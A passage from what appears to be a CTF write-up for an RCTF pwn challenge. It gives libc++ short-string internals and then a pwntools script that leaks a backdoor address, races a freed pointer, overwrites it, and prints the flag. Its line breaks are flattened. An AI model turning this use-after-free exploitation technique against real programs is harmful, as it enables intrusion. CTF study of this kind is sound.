struct __short {// if string shorter than 23 value_type __data_[23]; unsignedchar __size_ : 7; unsignedchar __is_long_ : 1; // bit field to tag which type is used };
structbasic_string { union { __long __l; __short __s; } };
# buy ms first so we can use "1337" sh.sendline(b'2') sh.sendline(b'1') sh.sendline(b'1') # trigger Gods sh.sendline(b'2') sh.sendline(b'1337') sh.recvuntil(b'gift: ') backdoor = int(sh.recvline(), 16) success(f'Get BackDoor addr: {backdoor:#x}') # dbg() info('syncing program flow...') sleep(2) # trigger Gods, 3s to do what we want sh.sendline(b'2') sh.sendline(b'1337')
# release held pointer sh.sendline(b'2') sh.sendline(b'2') # buy a wooden boat to invoke five-star sh.sendline(b'1') sh.sendline(b'1')
# trigger five-star info('wait 1s so that we can get into FiveStar') sleep(1.5) sh.sendline(b'3') # alloc held back and overwrite it sh.sendlineafter(b'five-star', b'0'*0x28 + p64(backdoor))
sh.recvuntil(b'RCTF{') success(f'Flag is: {"RCTF{"}{sh.recvuntil(b"}").decode()}') sh.close()